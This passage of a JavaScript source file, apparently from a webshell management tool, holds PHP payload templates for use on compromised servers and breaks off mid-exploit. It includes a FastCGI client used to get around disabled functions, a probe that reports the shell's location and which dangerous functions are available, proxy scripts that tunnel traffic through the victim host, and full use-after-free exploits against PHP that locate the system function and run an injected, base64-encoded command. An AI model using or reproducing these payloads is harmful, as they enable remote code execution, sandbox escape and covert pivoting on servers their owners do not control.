2; 32 | const REQ_STATE_ERR = 3; 33 | const REQ_STATE_TIMED_OUT = 4; 34 | private $_sock = null; 35 | private $_host = null; 36 | private $_port = null; 37 | private $_keepAlive = false; 38 | private $_requests = array(); 39 | private $_persistentSocket = false; 40 | private $_connectTimeout = 5000; 41 | private $_readWriteTimeout = 5000; 42 | public function __construct($host, $port) 43 | { 44 | $this->_host = $host; 45 | $this->_port = $port; 46 | } 47 | public function setKeepAlive($b) 48 | { 49 | $this->_keepAlive = (boolean)$b; 50 | if (!$this->_keepAlive && $this->_sock) { 51 | fclose($this->_sock); 52 | } 53 | } 54 | public function getKeepAlive() 55 | { 56 | return $this->_keepAlive; 57 | } 58 | public function setPersistentSocket($b) 59 | { 60 | $was_persistent = ($this->_sock && $this->_persistentSocket); 61 | $this->_persistentSocket = (boolean)$b; 62 | if (!$this->_persistentSocket && $was_persistent) { 63 | fclose($this->_sock); 64 | } 65 | } 66 | public function getPersistentSocket() 67 | { 68 | return $this->_persistentSocket; 69 | } 70 | public function setConnectTimeout($timeoutMs) 71 | { 72 | $this->_connectTimeout = $timeoutMs; 73 | } 74 | public function getConnectTimeout() 75 | { 76 | return $this->_connectTimeout; 77 | } 78 | public function setReadWriteTimeout($timeoutMs) 79 | { 80 | $this->_readWriteTimeout = $timeoutMs; 81 | $this->set_ms_timeout($this->_readWriteTimeout); 82 | } 83 | public function getReadWriteTimeout() 84 | { 85 | return $this->_readWriteTimeout; 86 | } 87 | private function set_ms_timeout($timeoutMs) { 88 | if (!$this->_sock) { 89 | return false; 90 | } 91 | return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000); 92 | } 93 | private function connect() 94 | { 95 | if (!$this->_sock) { 96 | if ($this->_persistentSocket) { 97 | $this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000); 98 | } else { 99 | $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000); 100 | } 101 | if (!$this->_sock) { 102 | throw new \\Exception('Unable to connect to FastCGI application: ' . $errstr); 103 | } 104 | if (!$this->set_ms_timeout($this->_readWriteTimeout)) { 105 | throw new \\Exception('Unable to set timeout on socket'); 106 | } 107 | } 108 | } 109 | private function buildPacket($type, $content, $requestId = 1) 110 | { 111 | $clen = strlen($content); 112 | return chr(self::VERSION_1) /* version */ 113 | . chr($type) /* type */ 114 | . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ 115 | . chr($requestId & 0xFF) /* requestIdB0 */ 116 | . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ 117 | . chr($clen & 0xFF) /* contentLengthB0 */ 118 | . chr(0) /* paddingLength */ 119 | . chr(0) /* reserved */ 120 | . $content; /* content */ 121 | } 122 | private function buildNvpair($name, $value) 123 | { 124 | $nlen = strlen($name); 125 | $vlen = strlen($value); 126 | if ($nlen < 128) { 127 | $nvpair = chr($nlen); 128 | } else { 129 | $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); 130 | } 131 | if ($vlen < 128) { 132 | $nvpair .= chr($vlen); 133 | } else { 134 | $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); 135 | } 136 | return $nvpair . $name . $value; 137 | } 138 | private function readNvpair($data, $length = null) 139 | { 140 | $array = array(); 141 | if ($length === null) { 142 | $length = strlen($data); 143 | } 144 | $p = 0; 145 | while ($p != $length) { 146 | $nlen = ord($data{$p++}); 147 | if ($nlen >= 128) { 148 | $nlen = ($nlen & 0x7F << 24); 149 | $nlen |= (ord($data{$p++}) << 16); 150 | $nlen |= (ord($data{$p++}) << 8); 151 | $nlen |= (ord($data{$p++})); 152 | } 153 | $vlen = ord($data{$p++}); 154 | if ($vlen >= 128) { 155 | $vlen = ($nlen & 0x7F << 24); 156 | $vlen |= (ord($data{$p++}) << 16); 157 | $vlen |= (ord($data{$p++}) << 8); 158 | $vlen |= (ord($data{$p++})); 159 | } 160 | $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); 161 | $p += ($nlen + $vlen); 162 | } 163 | return $array; 164 | } 165 | private function decodePacketHeader($data) 166 | { 167 | $ret = array(); 168 | $ret['version'] = ord($data{0}); 169 | $ret['type'] = ord($data{1}); 170 | $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); 171 | $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); 172 | $ret['paddingLength'] = ord($data{6}); 173 | $ret['reserved'] = ord($data{7}); 174 | return $ret; 175 | } 176 | private function readPacket() 177 | { 178 | if ($packet = fread($this->_sock, self::HEADER_LEN)) { 179 | $resp = $this->decodePacketHeader($packet); 180 | $resp['content'] = ''; 181 | if ($resp['contentLength']) { 182 | $len = $resp['contentLength']; 183 | while ($len && ($buf=fread($this->_sock, $len)) !== false) { 184 | $len -= strlen($buf); 185 | $resp['content'] .= $buf; 186 | } 187 | } 188 | if ($resp['paddingLength']) { 189 | $buf = fread($this->_sock, $resp['paddingLength']); 190 | } 191 | return $resp; 192 | } else { 193 | return false; 194 | } 195 | } 196 | public function getValues(array $requestedInfo) 197 | { 198 | $this->connect(); 199 | $request = ''; 200 | foreach ($requestedInfo as $info) { 201 | $request .= $this->buildNvpair($info, ''); 202 | } 203 | fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); 204 | $resp = $this->readPacket(); 205 | if ($resp['type'] == self::GET_VALUES_RESULT) { 206 | return $this->readNvpair($resp['content'], $resp['length']); 207 | } else { 208 | throw new \\Exception('Unexpected response type, expecting GET_VALUES_RESULT'); 209 | } 210 | } 211 | public function request(array $params, $stdin) 212 | { 213 | $id = $this->async_request($params, $stdin); 214 | return $this->wait_for_response($id); 215 | } 216 | public function async_request(array $params, $stdin) 217 | { 218 | $this->connect(); 219 | $id = mt_rand(1, (1 << 16) - 1); 220 | $keepAlive = intval($this->_keepAlive || $this->_persistentSocket); 221 | $request = $this->buildPacket(self::BEGIN_REQUEST 222 | ,chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5) 223 | ,$id 224 | ); 225 | $paramsRequest = ''; 226 | foreach ($params as $key => $value) { 227 | $paramsRequest .= $this->buildNvpair($key, $value, $id); 228 | } 229 | if ($paramsRequest) { 230 | $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id); 231 | } 232 | $request .= $this->buildPacket(self::PARAMS, '', $id); 233 | if ($stdin) { 234 | $request .= $this->buildPacket(self::STDIN, $stdin, $id); 235 | } 236 | $request .= $this->buildPacket(self::STDIN, '', $id); 237 | if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) { 238 | $info = stream_get_meta_data($this->_sock); 239 | if ($info['timed_out']) { 240 | throw new TimedOutException('Write timed out'); 241 | } 242 | fclose($this->_sock); 243 | throw new \\Exception('Failed to write request to socket'); 244 | } 245 | $this->_requests[$id] = array( 246 | 'state' => self::REQ_STATE_WRITTEN, 247 | 'response' => null 248 | ); 249 | return $id; 250 | } 251 | public function wait_for_response($requestId, $timeoutMs = 0) { 252 | if (!isset($this->_requests[$requestId])) { 253 | throw new \\Exception('Invalid request id given'); 254 | } 255 | if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK 256 | || $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR 257 | ) { 258 | return $this->_requests[$requestId]['response']; 259 | } 260 | if ($timeoutMs > 0) { 261 | $this->set_ms_timeout($timeoutMs); 262 | } else { 263 | $timeoutMs = $this->_readWriteTimeout; 264 | } 265 | $startTime = microtime(true); 266 | do { 267 | $resp = $this->readPacket(); 268 | if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { 269 | if ($resp['type'] == self::STDERR) { 270 | $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR; 271 | } 272 | $this->_requests[$resp['requestId']]['response'] .= $resp['content']; 273 | } 274 | if ($resp['type'] == self::END_REQUEST) { 275 | $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK; 276 | if ($resp['requestId'] == $requestId) { break; 277 | } 278 | } 279 | if (microtime(true) - $startTime >= ($timeoutMs * 1000)) { 280 | $this->set_ms_timeout($this->_readWriteTimeout); 281 | throw new \\Exception('Timed out'); 282 | } 283 | } while ($resp); 284 | if (!is_array($resp)) { 285 | $info = stream_get_meta_data($this->_sock); 286 | $this->set_ms_timeout($this->_readWriteTimeout); 287 | if ($info['timed_out']) { 288 | throw new TimedOutException('Read timed out'); 289 | } 290 | if ($info['unread_bytes'] == 0 291 | && $info['blocked'] 292 | && $info['eof']) { 293 | throw new ForbiddenException('Not in white list. Check listen.allowed_clients.'); 294 | } 295 | throw new \\Exception('Read failed'); 296 | } 297 | $this->set_ms_timeout($this->_readWriteTimeout); 298 | switch (ord($resp['content']{4})) { 299 | case self::CANT_MPX_CONN: 300 | throw new \\Exception('This app can\\'t multiplex [CANT_MPX_CONN]'); 301 | break; 302 | case self::OVERLOADED: 303 | throw new \\Exception('New request rejected; too busy [OVERLOADED]'); 304 | break; 305 | case self::UNKNOWN_ROLE: 306 | throw new \\Exception('Role value not known [UNKNOWN_ROLE]'); 307 | break; 308 | case self::REQUEST_COMPLETE: 309 | return $this->_requests[$requestId]['response']; 310 | } 311 | } 312 | }; 313 | `.replace(/\n\s+?/g, ''); 314 | }, 315 | BaseInfo: () => { 316 | return `$rt = array( 317 | "os" => php_uname('s'), 318 | "arch" => (PHP_INT_SIZE==4?32:64), 319 | "ver" => substr(PHP_VERSION,0,3), 320 | "shell_name" => basename($_SERVER['SCRIPT_NAME']), 321 | "shell_dir" => dirname($_SERVER['SCRIPT_FILENAME']), 322 | "phpself" => $_SERVER['DOCUMENT_ROOT'], 323 | "temp_dir" => sys_get_temp_dir(), 324 | "open_basedir" => array(), 325 | "funcs" => array(), 326 | ); 327 | $opath_str = ini_get('open_basedir'); 328 | if(strlen($opath_str)){ 329 | $opath = explode(":", $opath_str); 330 | foreach($opath as $p) { 331 | $rp = realpath($p); 332 | $rt["open_basedir"][$rp] = (is_writable($rp)?1:0); 333 | } 334 | $rt["open_basedir"][$rt["phpself"]] = (is_writable($rt["phpself"])?1:0); 335 | } 336 | $func_arr = array("dl", "putenv", "error_reporting", "error_log", "file_put_contents", "file_get_contents", "fopen", "fclose", "fwrite", "tempnam", "imap_open", "symlink", "curl_init", "fsockopen", "iconv"); 337 | foreach ($func_arr as $f) { 338 | $rt["funcs"][$f] = (function_exists($f)?1:0); 339 | } 340 | $rt["funcs"]["dl"] = ((bool)ini_get("enable_dl")?1:0); 341 | echo json_encode($rt); 342 | `.replace(/\n\s+?/g, ''); 343 | }, 344 | ProxyScript: (url) => { 345 | return `0){ 370 | if(strpos($h,'Content-Length')!==false) continue; 371 | if(strpos($h,'Transfer-Encoding')!==false) continue; 372 | if(strpos($h,'Connection')!==false) continue; 373 | if(strpos($h,'HTTP/1.1 100 Continue')!==false) continue; 374 | header($h); 375 | } 376 | } 377 | function replace_html_path($arrMatche){ 378 | $sPath = makeUrl($arrMatche[4]); 379 | if(strtolower($arrMatche[1])=='img') { 380 | $sPath.= '&bin=1' ; 381 | } 382 | return "<{$arrMatche[1]} {$arrMatche[2]} {$arrMatche[3]}=\\"{$sPath}\\"" ; 383 | } 384 | function get_client_header(){ 385 | $headers=array('Expect:'); 386 | foreach($_SERVER as $k=>$v){ 387 | if(strpos($k,'HTTP_')===0){ 388 | $k=strtolower(preg_replace('/^HTTP/', '', $k)); 389 | $k=preg_replace_callback('/_\\w/','header_callback',$k); 390 | $k=preg_replace('/^_/','',$k); 391 | $k=str_replace('_','-',$k); 392 | if($k=='Host') continue; 393 | $headers[]="$k:$v"; 394 | } 395 | } 396 | return $headers; 397 | } 398 | function header_callback($str){ 399 | return strtoupper($str[0]); 400 | } 401 | function parseHeader($sResponse){ 402 | list($headerstr,$sResponse)=explode("\\r\\n\\r\\n",$sResponse, 2); 403 | $ret=array($headerstr,$sResponse); 404 | if(preg_match('/^HTTP\\/1\.1 \\d{3}/', $sResponse)){ 405 | $ret=parseHeader($sResponse); 406 | } 407 | return $ret; 408 | } 409 | curl_close($aAccess); 410 | echo $sResponse;`; 411 | }, 412 | ProxyScriptFsock: (host, port, url) => { 413 | return `$v){ 417 | if(strpos($k,'HTTP_')===0){ 418 | $k=strtolower(preg_replace('/^HTTP/', '', $k)); 419 | $k=preg_replace_callback('/_\\w/','header_callback',$k); 420 | $k=preg_replace('/^_/','',$k); 421 | $k=str_replace('_','-',$k); 422 | if($k=='Host') continue; 423 | $headers[]="$k:$v"; 424 | } 425 | } 426 | return $headers; 427 | } 428 | function header_callback($str){ 429 | return strtoupper($str[0]); 430 | } 431 | function parseHeader($sResponse){ 432 | list($headerstr,$sResponse)=explode("\r\n\r\n",$sResponse, 2); 433 | $ret=array($headerstr,$sResponse); 434 | if(preg_match('/^HTTP\/1\.1 \d{3}/', $sResponse)){ 435 | $ret=parseHeader($sResponse); 436 | } 437 | return $ret; 438 | } 439 | 440 | set_time_limit(120); 441 | $headers=get_client_header(); 442 | $host = "${host}"; 443 | $port = ${port}; 444 | $errno = ''; 445 | $errstr = ''; 446 | $timeout = 30; 447 | $url = "${url}"; 448 | 449 | if (!empty($_SERVER['QUERY_STRING'])){ 450 | $url .= "?".$_SERVER['QUERY_STRING']; 451 | }; 452 | 453 | $fp = fsockopen($host, $port, $errno, $errstr, $timeout); 454 | if(!$fp){ 455 | return false; 456 | } 457 | 458 | $method = "GET"; 459 | $post_data = ""; 460 | if($_SERVER['REQUEST_METHOD']=='POST') { 461 | $method = "POST"; 462 | $post_data = file_get_contents('php://input'); 463 | } 464 | 465 | $out = $method." ".$url." HTTP/1.1\\r\\n"; 466 | $out .= "Host: ".$host.":".$port."\\r\\n"; 467 | if (!empty($_SERVER['CONTENT_TYPE'])) { 468 | $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\\r\\n"; 469 | } 470 | $out .= "Content-length:".strlen($post_data)."\\r\\n"; 471 | 472 | $out .= implode("\\r\\n",$headers); 473 | $out .= "\\r\\n\\r\\n"; 474 | $out .= "".$post_data; 475 | 476 | fputs($fp, $out); 477 | 478 | $response = ''; 479 | while($row=fread($fp, 4096)){ 480 | $response .= $row; 481 | } 482 | fclose($fp); 483 | $pos = strpos($response, "\\r\\n\\r\\n"); 484 | $response = substr($response, $pos+4); 485 | echo $response; 486 | `; 487 | }, 488 | JSON_Serializer_UAF(bin, cmd) { 489 | return `$cmd = "${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""; 490 | if(stristr(PHP_OS, 'WIN')) { 491 | $cmd = "${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""; 492 | } 493 | $n_alloc = 10; 494 | class MySplFixedArray extends SplFixedArray { 495 | public static $leak; 496 | } 497 | class Z implements JsonSerializable { 498 | public function write(&$str, $p, $v, $n = 8) { 499 | $i = 0; 500 | for($i = 0; $i < $n; $i++) { 501 | $str[$p + $i] = chr($v & 0xff); 502 | $v >>= 8; 503 | } 504 | } 505 | public function str2ptr(&$str, $p = 0, $s = 8) { 506 | $address = 0; 507 | for($j = $s-1; $j >= 0; $j--) { 508 | $address <<= 8; 509 | $address |= ord($str[$p+$j]); 510 | } 511 | return $address; 512 | } 513 | public function ptr2str($ptr, $m = 8) { 514 | $out = ""; 515 | for ($i=0; $i < $m; $i++) { 516 | $out .= chr($ptr & 0xff); 517 | $ptr >>= 8; 518 | } 519 | return $out; 520 | } 521 | public function leak1($addr) { 522 | global $spl1; 523 | $this->write($this->abc, 8, $addr - 0x10); 524 | return strlen(get_class($spl1)); 525 | } 526 | public function leak2($addr, $p = 0, $s = 8) { 527 | global $spl1, $fake_tbl_off; 528 | $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted 529 | $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval 530 | $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string) 531 | $leak = strlen($spl1::$leak); 532 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 533 | return $leak; 534 | } 535 | public function parse_elf($base) { 536 | $e_type = $this->leak2($base, 0x10, 2); 537 | $e_phoff = $this->leak2($base, 0x20); 538 | $e_phentsize = $this->leak2($base, 0x36, 2); 539 | $e_phnum = $this->leak2($base, 0x38, 2); 540 | for($i = 0; $i < $e_phnum; $i++) { 541 | $header = $base + $e_phoff + $i * $e_phentsize; 542 | $p_type = $this->leak2($header, 0, 4); 543 | $p_flags = $this->leak2($header, 4, 4); 544 | $p_vaddr = $this->leak2($header, 0x10); 545 | $p_memsz = $this->leak2($header, 0x28); 546 | if($p_type == 1 && $p_flags == 6) { 547 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; 548 | $data_size = $p_memsz; 549 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 550 | $text_size = $p_memsz; 551 | } 552 | } 553 | if(!$data_addr || !$text_size || !$data_size) 554 | return false; 555 | return [$data_addr, $text_size, $data_size]; 556 | } 557 | public function get_basic_funcs($base, $elf) { 558 | list($data_addr, $text_size, $data_size) = $elf; 559 | for($i = 0; $i < $data_size / 8; $i++) { 560 | $leak = $this->leak2($data_addr, $i * 8); 561 | if($leak - $base > 0 && $leak - $base < $text_size) { 562 | $deref = $this->leak2($leak); 563 | # 'constant' constant check 564 | if($deref != 0x746e6174736e6f63) 565 | continue; 566 | } else continue; 567 | $leak = $this->leak2($data_addr, ($i + 4) * 8); 568 | if($leak - $base > 0 && $leak - $base < $text_size) { 569 | $deref = $this->leak2($leak); 570 | if($deref != 0x786568326e6962) 571 | continue; 572 | } else continue; 573 | return $data_addr + $i * 8; 574 | } 575 | } 576 | public function get_binary_base($binary_leak) { 577 | $base = 0; 578 | $start = $binary_leak & 0xfffffffffffff000; 579 | for($i = 0; $i < 0x1000; $i++) { 580 | $addr = $start - 0x1000 * $i; 581 | $leak = $this->leak2($addr, 0, 7); 582 | if($leak == 0x10102464c457f) { 583 | return $addr; 584 | } 585 | } 586 | } 587 | public function get_system($basic_funcs) { 588 | $addr = $basic_funcs; 589 | do { 590 | $f_entry = $this->leak2($addr); 591 | $f_name = $this->leak2($f_entry, 0, 6); 592 | if($f_name == 0x6d6574737973) { 593 | return $this->leak2($addr + 8); 594 | } 595 | $addr += 0x20; 596 | } while($f_entry != 0); 597 | return false; 598 | } 599 | public function jsonSerialize() { 600 | global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc; 601 | $contiguous = []; 602 | for($i = 0; $i < $n_alloc; $i++) 603 | $contiguous[] = new DateInterval('PT1S'); 604 | $room = []; 605 | for($i = 0; $i < $n_alloc; $i++) 606 | $room[] = new Z(); 607 | $_protector = $this->ptr2str(0, 78); 608 | $this->abc = $this->ptr2str(0, 79); 609 | $p = new DateInterval('PT1S'); 610 | unset($y[0]); 611 | unset($p); 612 | $protector = ".$_protector"; 613 | $x = new DateInterval('PT1S'); 614 | $x->d = 0x2000; 615 | $x->h = 0xdeadbeef; 616 | if($this->str2ptr($this->abc) != 0xdeadbeef) { 617 | die('UAF failed.'); 618 | } 619 | $spl1 = new MySplFixedArray(); 620 | $spl2 = new MySplFixedArray(); 621 | $class_entry = $this->str2ptr($this->abc, 0x120); 622 | $handlers = $this->str2ptr($this->abc, 0x128); 623 | $php_heap = $this->str2ptr($this->abc, 0x1a8); 624 | $abc_addr = $php_heap - 0x218; 625 | $fake_obj = $abc_addr; 626 | $this->write($this->abc, 0, 2); 627 | $this->write($this->abc, 0x120, $abc_addr); 628 | for($i = 0; $i < 16; $i++) { 629 | $this->write($this->abc, 0x10 + $i * 8, 630 | $this->leak1($class_entry + 0x10 + $i * 8)); 631 | } 632 | $fake_tbl_off = 0x70 * 4 - 16; 633 | $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off); 634 | $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off); 635 | $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); 636 | $this->write($this->abc, $fake_tbl_off + 8, 10); 637 | $binary_leak = $this->leak2($handlers + 0x10); 638 | if(!($base = $this->get_binary_base($binary_leak))) { 639 | die("Couldn't determine binary base address"); 640 | } 641 | if(!($elf = $this->parse_elf($base))) { 642 | die("Couldn't parse ELF"); 643 | } 644 | if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) { 645 | die("Couldn't get basic_functions address"); 646 | } 647 | if(!($zif_system = $this->get_system($basic_funcs))) { 648 | die("Couldn't get zif_system address"); 649 | } 650 | $fake_bkt_off = 0x70 * 5 - 16; 651 | $function_data = $this->str2ptr($this->abc, 0x50); 652 | for($i = 0; $i < 4; $i++) { 653 | $this->write($this->abc, $fake_bkt_off + $i * 8, 654 | $this->leak2($function_data + 0x40 * 4, $i * 8)); 655 | } 656 | $fake_bkt_addr = $abc_addr + $fake_bkt_off; 657 | $this->write($this->abc, 0x50, $fake_bkt_addr); 658 | for($i = 0; $i < 3; $i++) { 659 | $this->write($this->abc, 0x58 + $i * 4, 1, 4); 660 | } 661 | $function_zval = $this->str2ptr($this->abc, $fake_bkt_off); 662 | for($i = 0; $i < 12; $i++) { 663 | $this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8, 664 | $this->leak2($function_zval, $i * 8)); 665 | } 666 | $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system); 667 | $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70); 668 | $spl1->offsetGet($cmd); 669 | } 670 | } 671 | $y = [new Z()]; 672 | json_encode([&$y]); 673 | `; 674 | }, 675 | PHP7_GC_UAF_EXP(bin, cmd) { 676 | return `function pwn($cmd) { 677 | global $abc, $helper; 678 | function str2ptr(&$str, $p = 0, $s = 8) { 679 | $address = 0; 680 | for($j = $s-1; $j >= 0; $j--) { 681 | $address <<= 8; 682 | $address |= ord($str[$p+$j]); 683 | } 684 | return $address; 685 | } 686 | function ptr2str($ptr, $m = 8) { 687 | $out = ""; 688 | for ($i=0; $i < $m; $i++) { 689 | $out .= chr($ptr & 0xff); 690 | $ptr >>= 8; 691 | } 692 | return $out; 693 | } 694 | 695 | function write(&$str, $p, $v, $n = 8) { 696 | $i = 0; 697 | for($i = 0; $i < $n; $i++) { 698 | $str[$p + $i] = chr($v & 0xff); 699 | $v >>= 8; 700 | } 701 | } 702 | 703 | function leak($addr, $p = 0, $s = 8) { 704 | global $abc, $helper; 705 | write($abc, 0x68, $addr + $p - 0x10); 706 | $leak = strlen($helper->a); 707 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 708 | return $leak; 709 | } 710 | 711 | function parse_elf($base) { 712 | $e_type = leak($base, 0x10, 2); 713 | 714 | $e_phoff = leak($base, 0x20); 715 | $e_phentsize = leak($base, 0x36, 2); 716 | $e_phnum = leak($base, 0x38, 2); 717 | 718 | for($i = 0; $i < $e_phnum; $i++) { 719 | $header = $base + $e_phoff + $i * $e_phentsize; 720 | $p_type = leak($header, 0, 4); 721 | $p_flags = leak($header, 4, 4); 722 | $p_vaddr = leak($header, 0x10); 723 | $p_memsz = leak($header, 0x28); 724 | 725 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write 726 | # handle pie 727 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; 728 | $data_size = $p_memsz; 729 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 730 | $text_size = $p_memsz; 731 | } 732 | } 733 | 734 | if(!$data_addr || !$text_size || !$data_size) 735 | return false; 736 | 737 | return [$data_addr, $text_size, $data_size]; 738 | } 739 | 740 | function get_basic_funcs($base, $elf) { 741 | list($data_addr, $text_size, $data_size) = $elf; 742 | for($i = 0; $i < $data_size / 8; $i++) { 743 | $leak = leak($data_addr, $i * 8); 744 | if($leak - $base > 0 && $leak - $base < $text_size) { 745 | $deref = leak($leak); 746 | # 'constant' constant check 747 | if($deref != 0x746e6174736e6f63) 748 | continue; 749 | } else continue; 750 | 751 | $leak = leak($data_addr, ($i + 4) * 8); 752 | if($leak - $base > 0 && $leak - $base < $text_size) { 753 | $deref = leak($leak); 754 | # 'bin2hex' constant check 755 | if($deref != 0x786568326e6962) 756 | continue; 757 | } else continue; 758 | 759 | return $data_addr + $i * 8; 760 | } 761 | } 762 | 763 | function get_binary_base($binary_leak) { 764 | $base = 0; 765 | $start = $binary_leak & 0xfffffffffffff000; 766 | for($i = 0; $i < 0x1000; $i++) { 767 | $addr = $start - 0x1000 * $i; 768 | $leak = leak($addr, 0, 7); 769 | if($leak == 0x10102464c457f) { # ELF header 770 | return $addr; 771 | } 772 | } 773 | } 774 | 775 | function get_system($basic_funcs) { 776 | $addr = $basic_funcs; 777 | do { 778 | $f_entry = leak($addr); 779 | $f_name = leak($f_entry, 0, 6); 780 | 781 | if($f_name == 0x6d6574737973) { # system 782 | return leak($addr + 8); 783 | } 784 | $addr += 0x20; 785 | } while($f_entry != 0); 786 | return false; 787 | } 788 | 789 | class ryat { 790 | var $ryat; 791 | var $chtg; 792 | 793 | function __destruct() 794 | { 795 | $this->chtg = $this->ryat; 796 | $this->ryat = 1; 797 | } 798 | } 799 | 800 | class Helper { 801 | public $a, $b, $c, $d; 802 | } 803 | 804 | if(stristr(PHP_OS, 'WIN')) { 805 | die('This PoC is for *nix systems only.'); 806 | } 807 | 808 | $n_alloc = 10; # increase this value if you get segfaults 809 | 810 | $contiguous = []; 811 | for($i = 0; $i < $n_alloc; $i++) 812 | $contiguous[] = str_repeat('A', 79); 813 | 814 | $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; 815 | $out = unserialize($poc); 816 | gc_collect_cycles(); 817 | 818 | $v = []; 819 | $v[0] = ptr2str(0, 79); 820 | unset($v); 821 | $abc = $out[2][0]; 822 | 823 | $helper = new Helper; 824 | $helper->b = function ($x) { }; 825 | 826 | if(strlen($abc) == 79 || strlen($abc) == 0) { 827 | die("UAF failed"); 828 | } 829 | 830 | # leaks 831 | $closure_handlers = str2ptr($abc, 0); 832 | $php_heap = str2ptr($abc, 0x58); 833 | $abc_addr = $php_heap - 0xc8; 834 | 835 | # fake value 836 | write($abc, 0x60, 2); 837 | write($abc, 0x70, 6); 838 | 839 | # fake reference 840 | write($abc, 0x10, $abc_addr + 0x60); 841 | write($abc, 0x18, 0xa); 842 | 843 | $closure_obj = str2ptr($abc, 0x20); 844 | 845 | $binary_leak = leak($closure_handlers, 8); 846 | if(!($base = get_binary_base($binary_leak))) { 847 | die("Couldn't determine binary base address"); 848 | } 849 | 850 | if(!($elf = parse_elf($base))) { 851 | die("Couldn't parse ELF header"); 852 | } 853 | 854 | if(!($basic_funcs = get_basic_funcs($base, $elf))) { 855 | die("Couldn't get basic_functions address"); 856 | } 857 | 858 | if(!($zif_system = get_system($basic_funcs))) { 859 | die("Couldn't get zif_system address"); 860 | } 861 | $fake_obj_offset = 0xd0; 862 | for($i = 0; $i < 0x110; $i += 8) { 863 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); 864 | } 865 | write($abc, 0x20, $abc_addr + $fake_obj_offset); 866 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type 867 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler 868 | ($helper->b)($cmd); 869 | } 870 | pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\""); 871 | `; 872 | }, 873 | PHP7_Backtrace_UAF_EXP(bin, cmd) { 874 | return `function pwn($cmd) { 875 | global $abc, $helper, $backtrace; 876 | class Vuln { 877 | public $a; 878 | public function __destruct() { 879 | global $backtrace; 880 | unset($this->a); 881 | $backtrace = (new Exception)->getTrace(); # ;) 882 | if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 883 | $backtrace = debug_backtrace(); 884 | } 885 | } 886 | } 887 | class Helper { 888 | public $a, $b, $c, $d; 889 | } 890 | function str2ptr(&$str, $p = 0, $s = 8) { 891 | $address = 0; 892 | for($j = $s-1; $j >= 0; $j--) { 893 | $address <<= 8; 894 | $address |= ord($str[$p+$j]); 895 | } 896 | return $address; 897 | } 898 | 899 | function ptr2str($ptr, $m = 8) { 900 | $out = ""; 901 | for ($i=0; $i < $m; $i++) { 902 | $out .= chr($ptr & 0xff); 903 | $ptr >>= 8; 904 | } 905 | return $out; 906 | } 907 | 908 | function write(&$str, $p, $v, $n = 8) { 909 | $i = 0; 910 | for($i = 0; $i < $n; $i++) { 911 | $str[$p + $i] = chr($v & 0xff); 912 | $v >>= 8; 913 | } 914 | } 915 | 916 | function leak($addr, $p = 0, $s = 8) { 917 | global $abc, $helper; 918 | write($abc, 0x68, $addr + $p - 0x10); 919 | $leak = strlen($helper->a); 920 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 921 | return $leak; 922 | } 923 | 924 | function parse_elf($base) { 925 | $e_type = leak($base, 0x10, 2); 926 | 927 | $e_phoff = leak($base, 0x20); 928 | $e_phentsize = leak($base, 0x36, 2); 929 | $e_phnum = leak($base, 0x38, 2); 930 | 931 | for($i = 0; $i < $e_phnum; $i++) { 932 | $header = $base + $e_phoff + $i * $e_phentsize; 933 | $p_type = leak($header, 0, 4); 934 | $p_flags = leak($header, 4, 4); 935 | $p_vaddr = leak($header, 0x10); 936 | $p_memsz = leak($header, 0x28); 937 | 938 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write 939 | # handle pie 940 | $data_addr = $e_type == 2 ? 